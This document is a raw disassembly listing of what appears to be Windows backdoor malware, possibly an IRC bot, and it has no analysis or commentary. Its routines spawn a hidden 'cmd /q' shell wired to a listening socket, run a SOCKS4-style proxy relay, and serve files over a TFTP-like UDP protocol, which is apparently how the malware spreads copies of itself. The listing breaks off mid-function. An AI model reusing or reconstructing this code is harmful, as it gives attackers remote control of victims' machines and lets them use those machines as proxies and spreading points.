lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, dword_427070
test eax, eax
jnz short loc_41188A
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435604
jmp short loc_4118AA
; ---------------------------------------------------------------------------
loc_41188A: ; CODE XREF: sub_411827+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_4118B2
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4355C4
loc_4118AA: ; CODE XREF: sub_411827+61j
call sub_415DAC
pop ecx
jmp short loc_4118E0
; ---------------------------------------------------------------------------
loc_4118B2: ; CODE XREF: sub_411827+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_411920
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_411915
push offset unk_43559C
call sub_415D38
loc_4118E0: ; CODE XREF: sub_411827+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4118EC
push [ebp+var_4]
call edi ; CloseHandle
loc_4118EC: ; CODE XREF: sub_411827+BEj
cmp [ebp+var_8], 0
jz short loc_4118F7
push [ebp+var_8]
call edi ; CloseHandle
loc_4118F7: ; CODE XREF: sub_411827+C9j
mov eax, [esi]
test eax, eax
jz short loc_411900
push eax
call edi ; CloseHandle
loc_411900: ; CODE XREF: sub_411827+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41190A
push eax
call edi ; CloseHandle
loc_41190A: ; CODE XREF: sub_411827+DEj
push esi
call sub_41BA91
pop ecx
loc_411911: ; CODE XREF: sub_411827+1Dj
xor eax, eax
jmp short loc_41191B
; ---------------------------------------------------------------------------
loc_411915: ; CODE XREF: sub_411827+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41191B: ; CODE XREF: sub_411827+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411827 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411920 proc near ; CODE XREF: sub_411827+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BF70
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_427104
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call dword_427100 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call dword_427074 ; CreateProcessA
test eax, eax
jz short loc_4119DC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E918[eax], ecx
call dword_427070 ; CloseHandle
jmp short loc_4119F2
; ---------------------------------------------------------------------------
loc_4119DC: ; CODE XREF: sub_411920+9Aj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435644
call sub_415DAC
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4119F2: ; CODE XREF: sub_411920+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_411920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270EC
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411A22: ; CODE XREF: sub_4119F9+8Fj
call ebx ; ReadFile
test eax, eax
jz short loc_411A8A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411A5D
loc_411A33: ; CODE XREF: sub_4119F9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411A4D
cmp dl, 0Dh
jz short loc_411A4D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411A4D: ; CODE XREF: sub_4119F9+44j
; sub_4119F9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411A33
loc_411A5D: ; CODE XREF: sub_4119F9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24 ; send
test eax, eax
jle short loc_411A8A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411A22
; ---------------------------------------------------------------------------
loc_411A8A: ; CODE XREF: sub_4119F9+2Dj
; sub_4119F9+79j
mov esi, dword_427094
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_411AA6
call esi ; RtlGetLastWin32Error
push eax
push offset unk_435684
call sub_415DAC
pop ecx
pop ecx
loc_411AA6: ; CODE XREF: sub_4119F9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4119F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411AAB proc near ; DATA XREF: sub_4116D6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_411AC4: ; CODE XREF: sub_411AAB+39j
; sub_411AAB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB9EC ; recv
test eax, eax
jle loc_411BC9
cmp [ebp+var_10], ebx
jbe short loc_411AE6
dec [ebp+var_10]
jmp short loc_411AC4
; ---------------------------------------------------------------------------
loc_411AE6: ; CODE XREF: sub_411AAB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411BA9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411B56
cmp al, 7Fh
jz short loc_411B56
cmp al, 3
jnz short loc_411B11
push ebx
push ebx
call dword_427134 ; GenerateConsoleCtrlEvent
jmp short loc_411B7D
; ---------------------------------------------------------------------------
loc_411B11: ; CODE XREF: sub_411AAB+5Aj
cmp al, 15h
jnz short loc_411B33
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B33: ; CODE XREF: sub_411AAB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411B6A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B56: ; CODE XREF: sub_411AAB+52j
; sub_411AAB+56j
cmp esi, ebx
jbe short loc_411B80
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411B69: ; CODE XREF: sub_411AAB+86j
; sub_411AAB+A9j
pop ecx
loc_411B6A: ; CODE XREF: sub_411AAB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24 ; send
test eax, eax
jle short loc_411BC9
loc_411B7D: ; CODE XREF: sub_411AAB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411B80: ; CODE XREF: sub_411AAB+ADj
cmp al, 0Dh
jnz loc_411AC4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call dword_4270F0 ; WriteFile
test eax, eax
jz short loc_411BC9
xor esi, esi
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BA9: ; CODE XREF: sub_411AAB+47j
cmp [ebp+var_C], ebx
jnz short loc_411BBA
mov [ebp+var_C], 1
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BBA: ; CODE XREF: sub_411AAB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BC9: ; CODE XREF: sub_411AAB+2Bj
; sub_411AAB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411AAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411BCE proc near ; DATA XREF: sub_401ACD+2BC4o
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_4CB9D4 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_4CBA54 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_43E91C[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CBA00 ; bind
test eax, eax
jnz loc_411D70
push 0Ah
push edi
call dword_4CB9FC ; listen
test eax, eax
jnz loc_411D70
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset dword_42BC94
push eax
call sub_41C266
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_411CA9
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409869
add esp, 14h
loc_411CA9: ; CODE XREF: sub_411BCE+B9j
; sub_411BCE+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA68 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset dword_435730
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2D4]
push 19h
push eax
call sub_40B3BA
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_43E914[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_411DD3
push esi
push esi
call dword_427084 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_43E924[ecx], eax
jz short loc_411D50
loc_411D3D: ; CODE XREF: sub_411BCE+180j
cmp [ebp+var_28], esi
jnz loc_411CA9
push 5
call dword_427080 ; Sleep
jmp short loc_411D3D
; ---------------------------------------------------------------------------
loc_411D50: ; CODE XREF: sub_411BCE+16Dj
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset dword_4356F4
push eax
call sub_41C266
add esp, 0Ch
jmp loc_411CA9
; ---------------------------------------------------------------------------
loc_411D70: ; CODE XREF: sub_411BCE+7Bj
; sub_411BCE+8Cj
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset dword_4356C0
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_411DB3
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409869
add esp, 14h
loc_411DB3: ; CODE XREF: sub_411BCE+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_415D38
push [ebp+var_3C]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_411BCE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411DD3 proc near ; DATA XREF: sub_411BCE+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_43E91C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4CB9BC ; select
test eax, eax
jnz short loc_411E54
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_411E54: ; CODE XREF: sub_411DD3+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4CB9EC ; recv
test eax, eax
jg short loc_411E85
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_411E85: ; CODE XREF: sub_411DD3+98j
cmp [ebp+var_4D0], 4
jnz loc_41207F
cmp [ebp+var_4CF], 1
jnz loc_41207F
cmp [ebp+var_44], bl
jz short loc_411F1B
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_411F1B
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset dword_4357F8
call sub_415DAC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_411F1B: ; CODE XREF: sub_411DD3+CFj
; sub_411DD3+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_41BF70
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_411FB3
call dword_4CB968 ; WSAGetLastError
push eax
push offset dword_4357B8
call sub_415DAC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BF70
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_411FB3: ; CODE XREF: sub_411DD3+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_412022
call dword_4CB968 ; WSAGetLastError
push eax
push offset dword_435774
call sub_415DAC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BF70
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_412022: ; CODE XREF: sub_411DD3+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
push edi
call sub_412097
pop ecx
pop ecx
push edi
call dword_4CBA6C ; closesocket
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_41207F: ; CODE XREF: sub_411DD3+B9j
; sub_411DD3+C6j
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_411DD3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412097 proc near ; CODE XREF: sub_411DD3+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4120AD: ; CODE XREF: sub_412097+C5j
; sub_412097+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4120C5: ; CODE XREF: sub_412097+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4120D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4120C5
loc_4120D5: ; CODE XREF: sub_412097+33j
cmp ecx, 1
jnz short loc_4120EA
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_4120EA: ; CODE XREF: sub_412097+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4CB9BC ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4CB8C0 ; __WSAFDIsSet
test eax, eax
jz short loc_41214A
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_412192
loc_41214A: ; CODE XREF: sub_412097+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4CB8C0 ; __WSAFDIsSet
test eax, eax
jz loc_4120AD
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz loc_4120AD
loc_412192: ; CODE XREF: sub_412097+9Aj
; sub_412097+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_412097 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412197 proc near ; CODE XREF: sub_412197:loc_4125F0p
; DATA XREF: sub_401ACD+20B3o ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = byte ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
var_574 = byte ptr -574h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
var_26C = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
var_50 = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4CBA54 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_412237
push 190h
call dword_427080 ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_412217
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
add esp, 14h
loc_412217: ; CODE XREF: sub_412197+5Bj
lea eax, [ebp+var_778]
push eax
call sub_415D38
push [ebp+var_168]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_412237: ; CODE XREF: sub_412197+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4CB9B4 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4CB9B4 ; setsockopt
mov eax, [ebp+var_168]
push 10h
imul eax, 234h
push ebx
mov dword_43E91C[eax], esi
lea eax, [ebp+var_2C]
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_2C], 2
push [ebp+var_160]
call dword_4CB9D4 ; htons
mov [ebp+var_2A], ax
lea eax, [ebp+var_2C]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4122C1
push 1388h
call dword_427080 ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_4125F0
; ---------------------------------------------------------------------------
loc_4122C1: ; CODE XREF: sub_412197+10Fj
lea eax, [ebp+var_370]
push offset dword_429068
push eax
call sub_41BEA2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_412327
push 190h
call dword_427080 ; Sleep
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
lea eax, [ebp+var_778]
push eax
call sub_415D38
push [ebp+var_168]
call sub_40B6D6
add esp, 1Ch
push ebx
call dword_4270D4 ; ExitThread
loc_412327: ; CODE XREF: sub_412197+142j
; sub_412197+413j
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_4125B3
mov edi, 80h
lea eax, [ebp+var_D0]
push edi
push ebx
push eax
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4CB9BC ; select
test eax, eax
jle loc_4125A7
mov al, byte_43DB88
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4CB9AC ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_50]
push eax
call sub_41C266
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_412591
cmp [ebp+var_CF], 1
jnz loc_412497
lea eax, [ebp+var_26C]
push eax
call sub_41B9C0
push ebx
push ebx
push [ebp+var_4]
call sub_41DA8B
push [ebp+var_4]
lea eax, [ebp+var_574]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h
push 1
push eax
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call sub_41BAFA
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CBA38 ; sendto
cmp [ebp+var_D8], ebx
jnz short loc_412485
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
add esp, 14h
loc_412485: ; CODE XREF: sub_412197+2C9j
lea eax, [ebp+var_778]
push eax
call sub_415D38
pop ecx
jmp loc_4125A7
; ---------------------------------------------------------------------------
loc_412497: ; CODE XREF: sub_412197+257j
cmp [ebp+var_CF], 4
jnz loc_412591
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_4124D4
inc al
xor cl, cl
mov [ebp+var_576], al
mov [ebp+var_575], bl
jmp short loc_4124E2
; ---------------------------------------------------------------------------
loc_4124D4: ; CODE XREF: sub_412197+329j
inc cl
mov [ebp+var_576], al
mov [ebp+var_575], cl
loc_4124E2: ; CODE XREF: sub_412197+33Bj
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
mov edi, 200h
shl eax, 9
sub eax, edi
push ebx
push eax
push [ebp+var_4]
call sub_41DA8B
push [ebp+var_4]
lea eax, [ebp+var_574]
push edi
push 1
push eax
call sub_41BAFA
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CBA38 ; sendto
cmp edi, ebx
jnz short loc_4125A7
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset dword_434798
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_41257C
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
add esp, 14h
loc_41257C: ; CODE XREF: sub_412197+3C0j
lea eax, [ebp+var_778]
push eax
call sub_415D38
inc dword_4CE4DC
pop ecx
jmp short loc_4125A7
; ---------------------------------------------------------------------------
loc_412591: ; CODE XREF: sub_412197+24Aj
; sub_412197+307j
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_435838
push esi
call dword_4CBA38 ; sendto
loc_4125A7: ; CODE XREF: sub_412197+1E9j
